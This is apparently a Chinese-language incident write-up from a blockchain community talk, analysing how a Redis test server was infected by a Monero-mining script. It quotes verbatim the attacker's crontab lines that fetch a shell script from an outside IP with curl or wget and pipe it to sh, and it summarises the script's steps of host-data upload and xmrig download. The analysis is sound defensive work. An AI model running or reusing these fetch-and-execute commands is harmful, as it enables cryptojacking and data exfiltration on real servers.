区块链太火,小心你的服务器被动挖矿!

区块链前哨导语:3 月 14 日,区块链前哨社群迎来了第三期群分享:「区块链太火,小心你的服务器被动挖矿」,本次分享我们邀请到区块链技术指北社区发起人温国兵先生,结合实际工作中遇到的问题,列举了面对服务器被挖矿时的应对方法,以下为以分享嘉宾为第一人称记录的分享内容。

更多干货内容请关注微信公众号“区块链前哨”,(ID:blockchain-666)

某日,我收到 VPS 服务器 CPU 告警,上服务器一看,有个叫做 gpg-agentd 的进程占用大量的 CPU 资源。接着就是常规的排查,IO 情况、网络流量、内存情况、系统日志、crontab 等。当排查到 crontab 时,发现 crontab 有如下的任务:

*/5* * * * curl -fsSL http://84.73.251.157:81/bar.sh | sh */5 * * * * wget -q -O- http://84.73.251.157:81/bar.sh | sh

这个 IP 地址位于瑞士,https://ip.cn/index.php?ip=84.73.251.157。

该服务器提供 Redis 资源供测试使用,明显上面两个定时任务不是我创建的。定时任务访问外网服务器,紧急处理有三点,一是确认其他服务是否受到影响,二是注释定时任务,三是临时断外网,处理完之后,再来排查原因。

区块链太火,小心你的服务器被动挖矿!

我把该 Shell 脚本下载到本地,然后进行分析。该脚本包含以下函数:

  • IKILLYOU

  • FIRE

  • DOWNLOAD

  • INFO

  • CRON

  • CLEAN

  • INIT

  • ITABLE

我们逐个分析:IKILLYOU 函数会 kill 掉 ssuspsplk 和 gpg-agentd 进程。CRON 函数会将文首的两个 crontab 写入到 /tmp/.bla.cron 文件,接着清空用户的 crontab,然后将 /tmp/.bla.cron 文件载入到 crontab。FIRE 函数删除掉 6379 端口相关的防火墙,允许本地连接,同时将防火墙配置持久化。INFO 函数用于收集主机信息,包含当前服务器进程、服务器硬件属性、系统内核版本、Linux 发行版本、Linux 发行的详细版本、Linux 标准规范信息、crondb 文件帮助信息,最后将以上信息上传到 84.73.251.157 指定目录。

我有几张阿里云幸运券分享给你,用券购买或者升级阿里云相应产品会有特惠惊喜哦!把想要买的产品的幸运券都领走吧!快下手,马上就要抢光了。

接下来我们看下 DOWNLOAD 函数。该函数从 84.73.251.157 下载 crondb 和 c.j 文件,放到本地的 /tmp 目录。接下来执行关键的一步,/tmp/crondb -c /tmp/c.j -B。

我们将 crondb 文件和 c.j 放到本地,对这个两个文件进行分析。上文提到 INFO 函数将获取 crondb 文件帮助信息。我们来执行下 INFO 函数的语句。

区块链太火,小心你的服务器被动挖矿!

看到 Usage 这一步,再去 GitHub 项目搜索,我们可以得知 xmrig 是用于 Monero (XMR) CPU 挖矿的。接下来我们看下 c.j 文件,从 /tmp/crondb -c /tmp/c.j -B 得知。-c 参数表示配置文件,-B 表示后台运行。也就是说 c.j 是一个配置文件。我们打开 c.j 文件,看到关键的 pools 配置,可以得知 user 配置如下:

423DEFLqFZwb4gm9fMHVY8dm8KMFXhkMHg5FBwi9nXfS6P5LCd7cArbV83Cmmwi7ouBHihZS74ckNbRDyGNruQAFBnNCeNK

我们推测这是个 Monero (XMR) 钱包。

原文链接